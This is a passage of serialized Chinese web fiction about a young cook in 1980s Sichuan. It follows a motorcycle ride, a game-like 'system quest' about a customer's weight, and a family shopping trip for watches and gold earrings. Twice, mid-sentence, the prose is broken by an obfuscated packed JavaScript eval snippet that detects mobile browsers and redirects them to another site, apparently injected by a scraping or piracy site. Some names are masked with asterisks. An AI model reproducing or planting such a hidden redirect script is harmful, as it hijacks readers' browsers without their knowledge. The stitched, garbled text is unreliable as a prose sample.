周砚其实也感受到了对方的诚意，一般他这个年纪的厨师，在后厨都是当墩子的，一个月也就三十块钱，他师父在纺织厂食堂当厨师长，一个月工资也才一百六。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200240|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可他的饭店已经步入正轨，一天利润能破两百，让他去上三百块钱一个月的班属实提不起兴致。 老周同志一个月都不止挣三百呢。 “拒绝了！” “一天挣几十块！” “好厉害！” 黄兵和**兄妹俩一脸震惊。 他们每个月的零花钱不少，老妈心情好能过百，但这钱是爸妈给的，和自己挣的完全是两回事。 周砚一个月能挣上千？ 可他明明也才二十岁！ 黄鹤听完点点头，虽然有些遗憾，但周砚的态度已经非常明确，但还是有些不死心，道：“周师傅，那我今天把话放在这，你要是什么时候改主意了，随时来飞燕酒楼找我，酒楼的大门一直为你敞开。” “好，多谢黄老板的好意。”周砚点头，没有拒绝对方的好意。 飞燕酒楼他有所耳闻，算得上嘉州目前的餐饮巨头，搞好关系没毛病。 说不定将来他还想进军嘉州，交个朋友，以后多条路。 黄鹤把饭钱给结了，和周砚打了声招呼，然后出门去了。 “小伙子，饭弄得好，菜也整得巴适，以后肯定能干事。”向老太出门前，还看着周砚笑着说道。 “谢谢老辈子。”周砚笑着应道，这话他也爱听。 “你好，我叫黄兵，认识一哈。”黄兵走了过来，摸出烟盒给周砚发了根烟，自己也叼了一根点上。 “谢谢，不抽烟。”周砚抬手，看着门口的摩托笑道：“车不错。” 黄兵把烟揣回口袋，看着摩托车有些得意的笑了笑：“前两天刚拿回来的，嘉州第一辆，小日本进口件组装的，单缸四冲程，四档循环变速箱，配手动离合，帅吧！” “确实帅，比50好看。”周砚点头。 “会开不？要不要跑两圈？”黄兵摸出车钥匙，在周砚面前晃了晃。 “你说的，那我可不客气了。”周砚顺手就接了过来，直接跨坐上摩托车，直接发动开走了。 “哎哎哎……”黄兵都没反应过来，周砚骑着摩托已经冲了出去，骑的又快又稳。 黄兵目瞪口呆：“不是，他真会啊？” “怎么他起来和你骑起来感觉不太一样啊。”**小声道。 “有什么不一样？”黄兵随口问道。 “他起来有点帅。” “我呢？” “你骑起来有点好笑。” “滚！”黄兵的拳头硬了。 黄鹤等人也是有些意外，现在摩托车还挺贵的，一般人可买不起，更别说会骑了。 给黄兵买这的辆摩托车，主要还是当酒店运输工具用的，有时候要载货和送人，摩托车走乡道比较方便，比自行车来的快。 “锅锅好厉害！”周沫沫站在门口，拍着小手，嘴巴张的大大的。 周砚骑了三百米左右就掉头回来了，新车，骑起来确实舒服。 比二八大杠省力，坐着也舒服，坐垫挺软和的。 他毕业后没买车，买了辆二手小摩托代步，不跑山不摩旅，就市内通勤跑一跑，有正经驾驶证。 小汽车现在还别想，有钱也买不着。 但要是有钱了买辆摩托车，倒是可以考虑考虑。 有了摩托车，上蓉城，甚至去山城，都会方便许多。 他刚刚试了一下，极速能到七十左右，要是路况好一些，应该还能有所提升。 不过这年代的路况，也不用有太多期待，到处是砂石路。 周砚捏住刹车，看着黄兵笑道：“挺好骑的，挑车有眼光。” “那是，我可是研究了好几个月的。”黄兵闻言嘴角疯狂上扬，得意坏了。 周砚放下脚撑，正准备下车。 “锅锅，我也想坐！”周沫沫凑到跟前，举起小手，大眼睛里满是期待。 周砚看了一眼黄兵。 “坐！带她转一圈！”黄兵大手一挥，相当爽快。 周砚伸手把周沫沫拎了上来，让她坐在前边，小手扶着油箱，轻拧油门，不快不慢的跑了一圈。 “哇哦——” 这可把周沫沫高兴乐坏，小脸笑得红扑扑的。 把车停好，拔了车钥匙，周砚抱着周沫沫下来，把钥匙递还给黄兵，笑着道：“谢了。” “不客气，以后我还会经常来你这吃饭呢。”黄兵接过钥匙，压低了几分声音道：“比我们家酒楼的饭好吃。” “赞同！”**凑过来，表示认可，顺便和周砚打了个招呼：“你好，我叫**。” “你好，周砚。”周砚微笑点头。 这姑娘挺大一只，脸蛋圆圆的，性格挺好，声音有点夹，听着倒是软软的，脸上总带着笑，深得周沫沫的喜欢。 当然，周砚怀疑她看上的是人家随身背着的零食小包。 这时代能吃出这体格，足以证明家境殷实。 “我以后也经常来你这吃饭，你做的菜太好吃了。”**笑着说道，还有点意犹未尽。 刚坐上黄鹤后座的赵淑兰闻言，眉头微皱：“**，那你只能自个骑车来。” “哥不是有摩托车吗？”**看向黄兵，“我跟他一块来。” “他要敢载你，我连油钱都不给他。”赵淑兰扫了一眼黄兵。 “不载！为了**的安全，我绝对不载她！”黄兵立马举手表态。 **的目光转向了赵东和向老太：“那我就住在舅舅家！” 赵淑兰的目光又转向了赵东。 赵东连忙摆手：“莺莺，舅舅家现在也住不下啊，你也知道的，单位分的房就三个房间，外婆一间，我跟你舅妈一间，你表弟表妹隔了一间。” “老汉儿……”**看向黄鹤。 黄鹤感受着搭在腰间缓缓施压的手，开始假装很忙的检查刹车，东看西看，不和**对视。 气氛一时间有点凝重。 周砚牵着周沫沫往店里边站了点，免得被波及。 赵淑兰的担忧他完全能理解，就算是为了健康，这姑娘也该减减肥了。 【叮！支线任务触发：赵淑兰的烦恼。赵淑兰的女儿**，近两年因暴饮暴食体重狂飙，从一百二十斤猛增至一百八十三斤六两，并有向两百斤突破的趋势。赵淑兰作为母亲担心其身体健康，试图让其减肥，但收效甚微，为此感到烦恼。】 【顾客的健康是优秀厨师的追求，过度的肥胖会拖垮身体，请帮助赵淑兰解决烦恼，让**减肥60斤。】 【任务奖励：未知。任务接受：是/否】 周砚眉梢一挑，什么情况，还能触发出这样的系统任务？ 不是。 优秀的厨师，不应该都是育肥的吗？ 让客人减肥，不显得自己很不专业吗？ 周砚觉得这系统多少有点毛病！ 但是，有任务不做，周砚难受啊。 谁能忍得住视线里有个红点一直存在呢？ 周砚看着**面带微笑道：“骑车好啊，骑车多健康，我们饭店早上卖面条，中午有跷脚牛肉，晚上也提供晚饭，你要一天跑三个来回，身体肯定棒棒的。” —— （嘉陵70） PS：7k大章，求月票！ 求月票~！   (本章完) 第123章 请勿打骂顾客！（为盟主一笑晴天加 **委屈的泪花已经在眼眶里打转了，听到周砚开口，又给憋了回去。 她回头看着周砚，吸了吸鼻子：“你做的面好吃吗？” “好不好吃是非常主观的事情，我不好自卖自夸，你要好奇的话，可以明天自个骑车来尝尝。”周砚笑着说道。 “好！我来！”**点着脑袋，目光坚定：“我自己骑着车来！” 他邀请来我吃饭诶！ 谁能拒绝呢？ “嗯？”众人表情有些古怪的看着**，这丫头怎么回事？竟然还真的同意了？ 赵淑兰有些欣慰地笑了，感激的看了周砚一眼，这小伙人还真不错，看着就顺眼，比黄兵踏实靠谱多了，还不抽烟。 “黄兵！明天开始，你跟你妹妹来！骑自行车！她吃几顿你就吃几顿，不然别想要零花钱了。”赵淑兰脸色一冷，冲着黄兵说道。 他不是不爱吃自家饭吗，那就让他来周砚这吃，一天三顿饭吃不垮这个家，只要能让他多长几斤肉，看着顺眼点就行。 “妈，我骑摩托车嘛。”黄兵脸一垮，来吃饭倒是没问题，但让他骑自行车可太糟糕了。 新车刚到手，他就爱骑出来到处跑，跑一趟苏稽也就二十分钟，吃个饭还能到处去玩。 这要是骑车，还要跟**一起，可就不知道要晃悠多久了。 “母后英明！”**笑得可开心了，冲着黄兵挤眉弄眼。 周砚在旁默不作声，挺好的，一句话，拉两个包月用户。 血赚！ 至于任务怎么完成？ 走一步看一步嘛！ 说不定人姑娘天天骑车来吃饭，还真就瘦了呢。 黄、赵两家人走了，听他们的意思，准备找个地方喝茶打牌，度过悠闲的下午时光。 周砚进门，赵嬢嬢和老周同志已经把桌子收拾好了，就剩一桌碗没洗。 “你啥时候学的骑摩托车？之前也没有见你骑过吗？”赵嬢嬢看着周砚好奇问道。 别说他们老周家了，整个周村都没一家有摩托车的。 刚刚周砚一跨就上了摩托车，一套动作行云流水，直接把摩托车给开走了，一看就是开过的熟手。 “之前食堂有个工友有一辆小摩托车，他跟我关系好得很，没事我就骑着在厂头转两圈，所以就学会了。”周砚胡诌道。 赵嬢嬢点头，有些感慨道：“这摩托车是气派。” “回头我挣了钱，也买一辆带你们去兜风。”周砚笑着道。 “挣了钱要存起，先盖房子娶媳妇，摩托车吃油的，出门烧的是钱。”赵嬢嬢摇头道。 周砚也没多说，看着还准备去洗碗的两人道：“走嘛，碗回来再洗，换身衣裳，我们也去嘉州耍一趟，好久没带你们去了。” 周沫沫已经把赵嬢嬢给她缝的小包包跨上了，开心地在饭店里跑着：“去嘉州耍咯！去耍咯！” “要得。”赵嬢嬢笑着点头，喊上老周同志上楼换衣裳。 周砚也上楼把厨师服给换了，换了件半旧的的确良衬衣，下边穿的黑色长裤，脚上穿的是一件洗的发白的帆布鞋。 他低头看了眼，还行，清爽干净，除了寒酸点，没太大毛病。 他在身上揣了四百多块钱，都是拿的大团结和一元两元的，角角钱和分分钱都没要，还是卷起厚厚一叠。 不一会，赵嬢嬢和老周同志也下楼来了。 赵嬢嬢穿了件的确良的蓝白花衬衣，黑色西装裤，脚上穿的铜扣皮鞋，头发扎了起来，看起来精神又体面。 老周同志穿了件旧中山装，手肘处打着补丁，靛蓝色的裤子也洗的发白，全身上下就一双皮鞋比较体面。 没办法，塌房的时候，老周同志的衣服全军覆没，上回就买了一身厨师服，还没给他置办其他衣服呢。 周沫沫今天穿的一件绿色毛衣，挎着一个绿色小包，赵嬢嬢手作，胸口有个南瓜的图案，还挺洋气的。 她的手在小包里掏了掏，往每个人手里塞了一个橘子味的水果硬糖，大方道：“一人一个，橘子味的糖糖，抿抿甜！” 周砚剥了糖纸喂到嘴里，橘子味浓郁，确实很甜。 “跟你哥哥坐还是跟你老汉坐？”赵嬢嬢看着周沫沫问道。 “锅锅！”周沫沫毫不犹豫的往周砚身边靠。 “给你绑个衣服，免得一路颠的屁股都散了。”赵嬢嬢拿了件旧衣服，折叠了两道，拿绳子绑在自行车的前杠上。 周砚伸手一提，就把周沫沫放在了绑了衣服的前杠上。 赵嬢嬢给门挂上锁，两辆自行车便向着嘉州的方向骑去。 老周同志一年到头忙着杀牛，牛肉卖完就下午了，到家弄点吃的，累的不行，哪有功夫跑嘉州去玩。 一般都要等逢年过节不干活，抽一天时间到嘉州去逛一圈。 周沫沫从小到大也就去过两回，有一回还是包在襁褓里的时候，根本没有印象。 小家伙最爱听的就是别人讲城里的事情，总是露出一副期待的表情，还不时问周砚啥时候带她去嘉州玩。 “胖娃胖嘟嘟，骑马上蓉城，蓉城又好耍，胖娃骑白马，白马跳得高，胖娃耍关刀，关刀耍得圆，胖娃捡铜钱，铜钱捡的多，胖娃买馍馍，馍馍莫得糖，气得胖娃哭一场……” 小家伙一手把着龙头，嘴里一边奶声奶气的唱着童谣，脑袋还跟着一晃一晃的，两根小辫子就像两根小天线，在周砚的面前扫来扫去，可爱又好笑。 苏稽到嘉州市区有十多公里路，路况还算可以，他们一路不紧不慢的骑着，花了半个多小时抵达玉堂街和土桥街交汇的路口。 嘉州百货公司就矗立在这里，跨两个街区，一边在土桥街，一边在玉堂街。 这个路口又被称为嘉州小十字。 周围有长生堂、廖广东、玉东餐厅、大陆旅馆、邮电局、新华书店、新中华……等等嘉州城中的知名店铺。 说是嘉州CBD也丝毫不为过。 “一来就逛百货公司吗？”赵铁英抬头看着大气的百货公司，笑着说道。 “对，先把该买的东西买了嘛，免得人家关门了。”周砚笑着说道。 “有道理，人家是到点就下班，一分钟都不多等。”赵嬢嬢点头。 把自行车停好，周砚牵起周沫沫，领着爸妈往百货商店里走。 今天是周日，大家都放假，来逛百货公司的人可真不少，门口的自行车排出去老远，有个大爷搬了条凳子，专门在这守着，看护顾客的重要财产。 一进门，熙熙攘攘的人群挤满了每一个柜台。 “同志，这个海鸥牌的女士手表多少钱？” “同志，把那个衣服拿给我试试吧。” “同志……” 有人询价，有人试衣服摸料子，好不热闹。 周砚把周沫沫抱起来放在肩上，免得被人不小心撞倒踩到。 “哇哦！好多人哦！” “锅锅你看，那里有好多洋娃娃！” “那边有好多漂亮的衣服啊！” “锅锅……” 视线一抬高，小家伙的眼睛立马亮了起来，话匣子一下就打开了，叽叽喳喳说个不停。 赵铁英和周淼跟在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16200241|181213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周砚身后，表情都有点拘束。 他们上一回来百货公司，还是前**情。 百货公司的东西多，也好看，但价格确实贵。 他们上回来也就是走马观花，瞅一瞅，看个热闹，连价格都没敢多问。 你要多问两句，营业员可是凶的批爆。 “同志我问一下你……” “问问问！问了又不买，问个铲铲！老子回答你八百遍了，这件衣服就是十六块五，一分钱都不得少！不买算球！”旁边柜台卖衣服的圆脸营业员翻着白眼一脸不耐烦道，框的就把衣服挂了回去。 “你……你这个同志这么这么歪！我对你的服务态度有很大的意见！”顾客气得手都抖了。 营业员一脸无所谓：“哼，你对我有意见？去告我撒！你今天想买，我还不卖给你了呢。” 周砚个高，目光越过人群，能看到相似的情景在不少柜台都有发生。 这年代的百货公司是国营的，盈利还是亏本不影响营业员发工资，营业员一个个眼高于顶，拿鼻孔看人。 瞧瞧一旁墙上挂着的标语：严禁打骂顾客！ 属于时代特色了。 周砚看得津津有味，逛到了卖表的柜台前。 这是人气柜台，挤满了顾客，都围着玻璃柜台瞧。 柜台后站着两个一男一女两个营业员，不急不缓地回答顾客的问题。 周砚探头瞅了眼价格，上海牌男士17砖手表标价70元。 价格不菲，能抵得上纺织厂一线工人两个月工资了。 “你要买手表？”赵铁英跟着过来，见周砚停下，小声问道。 “对，做卤肉要看时间，有个手表要方便一些。”周砚点头。 刚好前边有客人看完走了，他便凑到了柜台前，笑着和营业员道：“同志，能不能把这个上海牌男士手表拿来给我试试？” 女营业员二十出头，闻声抬头看了周砚一眼，原本皱着的眉头舒展开来，声音都软了几分，点头道：“要得，我给你拿。” 周砚把周沫沫递给他妈，接过手表往手上一戴，全钢的，冰凉凉，戴在手上银闪闪，还有点沉。 不过这表往手上一戴，空荡荡的手腕有了装饰，感觉确实不太一样。 “还挺合适的，男人戴个手表，确实气质都要提高几分。”赵铁英笑着说道。 “我呢？”周沫沫伸出了小手问道。 “你还小，等你长大了，戴女士手表也好看。”赵铁英指着柜台里的女士手表跟她说道。 “硬是好看。”周淼站周砚身旁，也点头道。 “给你也整一个？”周砚看着他笑着道。 周淼愣了一下，连连摆手：“我拿来做啥子，不要不要。” “你钓鱼有个手表看时间方便嘛，到点就收杆，免得影响上班。”周砚笑着把手表接下来，往周淼手上一戴，点点头道：“刚好合适，也不用调表带。” “一个七十块钱，不便宜哦，不买就不要轮着试，弄脏了我懒得擦。”男营业员开腔说道，语气带着几分惯有的阴阳怪气。 “啧！你管好你自己那边的客人就是了！话多的很！”女营业员白了他一眼，看着周砚笑着道：“没得事，慢慢试，别的款式要不要试看？” 一旁的客人们纷纷震惊回头。 Σ(っ°Д°;)っ 这也太双标了吧？ 长得帅就不骂了？ 还有王法吗？ 求月票！！！   (本章完) 第124章 甜咸？在这只有豆腐脑的门派之争！ 从手表柜台离开的时候，周砚和老周同志手上各戴了一个上海牌手表。 衬衣袖子卷起两截，露出手腕上亮闪闪的钢表带，走哪都让人忍不住多瞅两眼。 “这小伙子真孝顺啊，自己买表，给老汉也买一个！” “我儿子昨天还从我这里偷了十块钱呢！龟儿子，晚上回去要把他吊起来打一顿！” 柜台前的客人们一脸羡慕。 “诶，女同志，也把那上海表给我看看呗。”有个谢顶的男同志开口道。 女营业员白眼一翻：“一个七十块钱，不便宜哦，不买就不要东试西试，弄脏了我懒得擦。” 男同志：“欸？你刚刚可不是这个态度啊……” “刚刚我心情好，现在没那么好了，就这个态度。” “你这个小姑娘，要不得哦。” …… 买的时候老周同志一脸抗拒，宁死不屈，现在表戴在手上，忍不住翻着手腕瞧，平日在外面不苟言笑的人，这会嘴巴咧的露出了八颗牙，心头乐着呢。 “瞧给你爸乐的，之前每回去供销社，都要在表柜前站一会，说给他买吧，又说不要，你这表，可是买到他心坎上了。”赵铁英跟周砚小声说道，脸上带着笑，“杀牛这些年，就没睡过几个安稳觉，不知道时间总觉得不踏实，又怕误了主人家时间。” “生产工具，应该整好点，免得他在河边坐着都心慌。”周砚笑着道，难怪素来节俭的赵嬢嬢，刚刚一句话都没说，原来心里早惦记着给自家男人买表呢。 “妈，你有没有什么想要的？”周砚又看着她问道。 “我不要，我啥子都有。”赵铁英摇头，笑着道：“卖两块布，再称点新棉絮，回去找贾裁缝给你们三个做身棉衣嘛。我看他这里棉衣卖的才贵哦，一件就要二三十，款式还不如贾裁缝做的好看，针脚也是稀稀疏疏的，要漏棉花，穿不了好久。” “要得，多买一点，给你也整一件，过冬都穿新衣裳。”周砚笑着点头。 这年代钱不好挣，但成衣的价格确实不便宜，一件呢子大衣要卖一百二，抵得上普通工人三个月工资了。 机器织的毛线衣往柜台里一挂，标价也得十块。 来百货公司买衣服的，要么家境殷实，要么就是赶时髦的年轻姑娘，为了朋友们的一声称赞，咬咬牙，花两三个月工资买一件漂亮的呢大衣，逢年过节拿出来穿一穿，也能穿好几年。 一般人家都是买布，然后回去自己做新衣服，或者买毛线自己织毛衣。 缝纫机在三转一响中占据一席之地，是当之无愧的家庭重要生产工具。 赵嬢嬢会织毛衣，但踩不来缝纫机，跟着老太太学了半个月，被老太太轰走了，嫌弃的一个星期没跟她说话，所以他们家没买缝纫机。 那几年他们家的衣服都是老太太给做的，再后来赵嬢嬢就买布好棉花到镇上找裁缝帮忙做，给点工钱就行，比买成衣强，也不用去麻烦老太太。 可别小瞧了镇上的裁缝，人家也是与时俱进的。 城里流行的衣服款式，他们会去扒板，能做出**分味道来，但价格比百货公司便宜了一半不止。 好裁缝你想做衣服，还得排队呢。 “要得，我去看看。”赵铁英把周沫沫往周砚手里一递，风风火火往布料柜台挤去，那边挤满了妇女，吵闹声也是最为响亮的。 四川婆娘，走哪都不会吃亏，管你啥子营业员，你敢骂我，我也必须骂回来，劳资又不怕你。 周淼准备跟过去，被周砚拉住，小声问道：“老汉，你晓得我妈平时最想要个啥子不？” “喜欢啥子？”老周同志挠头，低头看了眼皮鞋。 周砚笑道：“皮鞋不算，她之前跟你来逛百货公司，在哪个柜台停下来看了又看，但就是没舍得买？” 周淼眼睛一亮：“金耳环！” “金耳环。”周砚闻言左右看了看，很快找到了被一群女人围着的黄金饰品柜台，抱着周沫沫往那边挤过去：“走，瞧瞧去。” 周淼闻言连忙跟上。 果然不管哪个年代，女人都喜欢黄金饰品。 金价是27.3元/克，这个价格比起后世800元/克看起来便宜不少。 但现在工资才三十元，和后世一比，反而更贵。 黄金饰品在这个时代绝对属于奢侈品 耳环重量相对小一些，周砚给老周同志买了个上海手表，给赵嬢嬢买一对价格相近的金耳环，预算在3克以内。 柜台前都是女同志，周砚和老周同志排了一会队，总算到了柜台跟前。 柜台后边是个中年女营业员，性格倒是相当和善，看着抱着孩子的周砚和穿着补丁衣服的周淼，脸上带着笑问道：“同志，想买什么首饰？” “姐，我想给我妈选个耳环，三克左右的，麻烦你推荐一下。”周砚笑着开口道。 “你倒是孝顺，还给你妈买金耳环。”男同志一般喊营业员，周砚二十出头的年轻小伙，长得又帅，这一声姐姐喊到营业员的心坎上了，笑着道：“你看看这几个嘛，款式简单大方，花纹也好看。” 三对耳环摆在一起，周砚实在看不出区别来，转而问老周同志：“老汉，你看选哪个？” “这个嘛，上回你妈来，盯着看那个和这个就很像。”老周同志指着中间那个说道。 “姐，这个要好多钱？”周砚笑着问道。 营业员拿起中间那对耳环上挂着的吊牌看了眼，说道：“老凤祥的耳环，重三克，工费15，一共96元。” “好，就要这对。”周砚笑着点头，果断拿下。 “要得，我给你装上。”营业员笑着点头，拿了个首饰盒子把耳环装上，然后给他开票。 “是不是贵了点？”老周同志小声说道。 “不贵，黄金就是这个价嘛，这东西还保值。”周砚笑着说道。 老周摸了摸口袋，左右看了眼，往周砚手里塞了一团东西。 周砚低头一看，两张大团结包着一叠小面额的纸币。 没等周砚开口，老周同志已经解释道：“这里有二十三块八角，等下个月发了工资，再把剩下的钱给你补上，这个耳环算我买的，这么多年我都没给你妈买过金首饰，不能让你抢了先撒。” “好，那我不跟你争。”周砚把两张大团结收下，把剩下的零钱给塞还给老周同志，“零钱你留着用，我懒得记。” 周砚去排队交了钱，顺利拿下金耳环，发票塞到锦盒里，一起递给老周同志，“人多，等会出了百货公司再给我妈，她肯定高兴。” “要得。”老周同志把盒子放在里层贴身的口袋，表情高兴中又带着几分紧张。 “锅锅，我有礼物吗？”周沫沫一脸期待的看着周砚。 “走嘛，带你去转一圈，给你选一个你想要的玩具。”周砚笑着捏了捏小家伙的脸，往儿童玩具区走去。 “舍得哦！给老娘买金耳环！” “硬是！我老公都舍不得给我买，我存了半年，才买得起一个小吊坠。” 看着三人的背影，柜台前的妇女们投来了羡慕的目光。 转了一圈，给周沫沫挑花了眼，最后选了一只铁皮青蛙，三毛钱。 “呱呱，呱呱~~”小家伙捧着小青蛙，高兴的不行，抱着周砚的脸吧唧了一口：“锅锅，我对你永远忠诚！” 周砚也乐了。 嗯，还是小姑娘好哄。 三毛钱的小玩具，就效忠了。 周砚他们转到卖布这里，赵嬢嬢已经把要的布和棉絮打包好了，正准备付钱。 “我来。”周砚连忙上前，把周沫沫往她手里一塞，掏钱结账。 老周同志则是自觉上前，把两大包用绳子捆好的东西提上。 赵嬢嬢笑问道：“你们转哪里去了？多半天不过来？” “额……那个……”老周同志目光闪躲。 “给沫沫买小青蛙去了，走到玩具区就走不动路了。”周砚付了钱过来，笑着接过话茬。 “呐，锅锅给我买的癞疙宝。”周沫沫献宝似的捧着小青蛙咧嘴笑。 “还是你锅锅对你好哦。”赵铁英笑着刮了一下她的鼻子，看了眼周砚脚上的帆布鞋，说道：“给你买双鞋嘛，这双底下都快磨穿了。” “好。”周砚点头，鞋确实得买，他天天跑步，有点废鞋。 赵嬢嬢想给他买双皮鞋，但被他拒绝了，花八块买了两双胶底的解放鞋，便宜又耐穿。 柜台里的回力运动鞋要十块钱一双，比解放鞋倒是要潮流一些，但价格也贵了不少。 “光晓得给我们花钱，年轻人才要打扮的体面一些嘛。”赵铁英看着去付钱的周砚直摇头，看了眼一旁柜台里挂着的黑色皮衣，标价一百多块，小声自语道：“过年给他整件皮衣，我看他穿起来肯定比中午那个小伙精神。” 周砚拿着鞋过来，笑着道：“没啥子要买的，我们就出去了嘛？人太多了，挤得心慌。” 众人从百货公司出来，额头上都多了一层薄汗。 刚好一阵风吹来，顿感凉快。 “人太多了，城里人还是舍得，那么贵的东西抢着买。”赵铁英笑着感慨道。 “也不一定都是城里人，还有我们这种进城消费的弯脚杆。”周淼跟着道。 周砚和赵铁英闻言都笑了，弯脚杆是农民的一种自嘲。 周沫沫不懂他们在笑什么，但作为捧场王，也立马跟着哈哈笑。 今天进城采购，周砚后座挂着的两个背篼都没拆，里边垫了个干净的尿素袋子，把棉絮和布料往里一放，差不多装满了。 这些布料要做四套棉衣，还有四件裤子，总共花费26.6元，在百货公司还不够买件资格的中山装。 过日子，还得是赵嬢嬢。 周砚算了一下，这趟进百货公司，消费270.9元。 算得上大采购了。 天气一天比一天冷，让裁缝做衣服要等工期，这是必要消费。 那边，老周同志已经把饰品盒子从兜里掏出，递到了赵嬢嬢的面前。 “啥子？”赵嬢嬢顺手就接了过来，看到上边的老凤祥三个字愣了一下，顺势打开，金光闪的她眼睛一亮，惊讶道：“金耳环！” 她看看盒子里的耳环，又看看这父子俩，还是有点不可思议：“买的？” “收据都在这，总不能是抢的撒。”周砚笑着说道：“我老汉预支工资给你买的，说你每回来都要停下来看一会，这些年都没有给你买过金首饰，今天必须给你安排上。” “对！”老周同志点头，笑得有些腼腆。 “这么贵，买啥子嘛……”赵嬢嬢嘴上嘟囔着，伸手拿起耳环放在掌心里翻来覆去的看，眼睛亮晶晶的，“好看！比我去年看到的那对还要好看。” “那我老汉的眼光还是准哦，他说你肯定喜欢这对。”周砚道。 “三水……”赵嬢嬢抬头看着老周同志，眼眶已经有点湿润。 “有点小，下回给你买个更大的。”老周同志揣着手，有点局促地笑着说道。 “够大了！”赵嬢嬢笑了，伸手轻轻锤了一下老周同志的胸口：“一对就够很了，我还有两双耳朵吗？买那么多做啥子。” “嘿嘿。”老周同志跟着嘿嘿傻笑。 “你拿到，我戴起，免得揣掉了。”赵嬢嬢把盒子递给老周同志，走到啊一旁百货公司的窗口前，对着窗户把金耳环戴上。 顺便把原本有点挡耳朵的头发重新绑了一遍，露出两只耳朵和金闪闪的耳环。 “好看不？”赵嬢嬢回来，向老周同志问到。 “好看！”老周同志点着脑袋，“耳环好看，人更好看。” “还是你有眼光。”赵嬢嬢的笑容越发灿烂。 “妈妈戴新耳环，好好看！”周沫沫在前杠上坐着，跟着拍着小手。 周砚嘴角也是微微上扬，父辈的爱情，朴实中带着点甜蜜。 在热闹的商场里会下意识的忽略时间流逝，他抬手看了一眼表，已经四点钟，在商场里逛了两个多小时。 “走嘛，难得来一趟，我们也在城里到处逛逛看。”赵嬢嬢坐上自行车后座，搂着老周同志的腰，笑着说道。 周砚应道：“转一圈，吃了晚饭再回去嘛，家里啥子都没得。” 赵嬢嬢想了想道：“那晚点转到嘉州港那边去，原来喊迎春门码头，那边热闹得很，东大街、较场坝街、板厂街都很繁华，到处是卖吃的，饭店多，摆摊的也多。说起来，我想吃峨眉豆腐脑了。” “豆腐脑！”周沫沫闻言眼睛一亮：“我也想吃甜甜的豆腐脑！” “那走 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一路骑过来，看得眼花缭乱的，根本看不过来。 周砚低头看了眼自己腿上滴落的水渍，伸手把周沫沫的下巴往上轻轻一抬，帮她把嘴巴合上：“别流口水了，滴我一腿。” “吸溜……”周沫沫吞了吞口水，回头看着他奶声奶气地撒娇：“锅锅，饿饿。” “这家！”赵嬢嬢扯了一下老周同志的衣服，自行车停在了一个挂着“甘记峨眉豆腐脑”的摊摊跟前。 老板是对中年夫妻，瞧见生意上门，老板娘立马堆起笑脸：“吃豆腐脑啊？这边坐嘛。” 周砚也把自行车停下，把周沫沫放下，目光却瞟向了隔壁那家“赵记牛华豆腐脑”。 豆腐脑摊摊除了有口煮着糊芡的大锅，旁边还摞着三排小蒸笼，里边蒸着的是粉蒸肥肠、牛肉，算是豆腐脑的浇头。 浇头，豆腐脑，听听，多稀奇的搭配啊。 豆腐脑。 别的地方一般是甜党和咸党打的头破血流。 嘉州这个地方就不一样了。 这里不参与甜咸之争，但分峨眉派、牛华派、夹**、犍为派…… 为争一个天下第一，打的不可开交。 当然，你如果说你只爱吃白糖拌豆腐脑。 那容易被六大门派**。 嘉州的豆腐脑和其他地方的有些不同，说是豆腐脑，更准确的说法应该是芡粉豆花糊糊。 豆花的量只占了一半不到，点缀在一碗糊糊之中。 各大派加的料有所区别，各有所长，因而有了派系之争。 峨眉派以蛋冲豆腐脑闻名。 牛华派喜欢以红苕粉垫底，还是加糊糊豆花，然后舀一勺大块的红烧牛肉汤加牛肉盖在上边，味道更为香浓馥郁。 夹**化繁为简，糊糊豆花打底，加的油炸花生、酥脆的撒子、还有粉蒸牛肉、肥肠，料多且杂，让你一口下去全是料。 嘉州这个地方，周砚当美食博主的时候来的可太多回了，除了蓉城，川内最熟悉的地方就是这，吃的东西说起来那是头头是道。 美食博主也不是那么好当的，光吃相下饭还不够，那赛道太挤了。 虽然周砚三分靠专业，七分靠运气，九十分靠颜值。 但那三分专业还是下了些苦功夫的。 隔壁的隔壁，还有一家“刘记夹江豆腐脑”。 对头！ 各大门派的强者，从来不畏惧竞争，就是要扎堆一较高下。 很显然，赵嬢嬢是峨眉派的忠实拥护者。 然而她还不知道，在这个家里，她的好大儿已经生出了异心，投入隔壁牛华派的麾下。 “要一碗蛋冲豆腐脑，加粉蒸牛肉嘛。”赵嬢嬢当先落座，跟老板点了餐，又看着三人道：“你们加什么料？” “我想吃隔壁牛华豆腐脑。”周砚没坐下，伸手指了指隔壁。 “嗯？”赵嬢嬢有些意外。 甘记老板犀利的目光顿时刺了过来，带着几分凌然的杀气。 隔壁赵记的老板娘则是堆起了笑容，热情道：“帅锅，要一份豆腐脑啊？加撒子料？” “加一份粉蒸肥肠，再要一份粉蒸牛肉，稍微辣一点。”周砚果断点餐，这才心满意足的在赵嬢嬢斜对面坐下。 这是一张桌子的最远距离，派系之争，素来如此。 “你呢？莫非你也有异心？”赵嬢嬢眉梢一挑，看着还没坐下的老周同志。 老周同志犹豫着道：“我想尝尝夹江豆腐脑，好久没吃了，上一次还是三年前。” 周砚眉毛抖了抖，好家伙，一个家，三个派，不会吃着吃着打起来吧？ “去嘛去哪。”赵嬢嬢摆摆手，倒也没说什么，金耳环还热乎着。 老周同志高高兴兴的去隔壁点了一碗夹江豆腐脑，小心翼翼的在赵嬢嬢对面坐下。 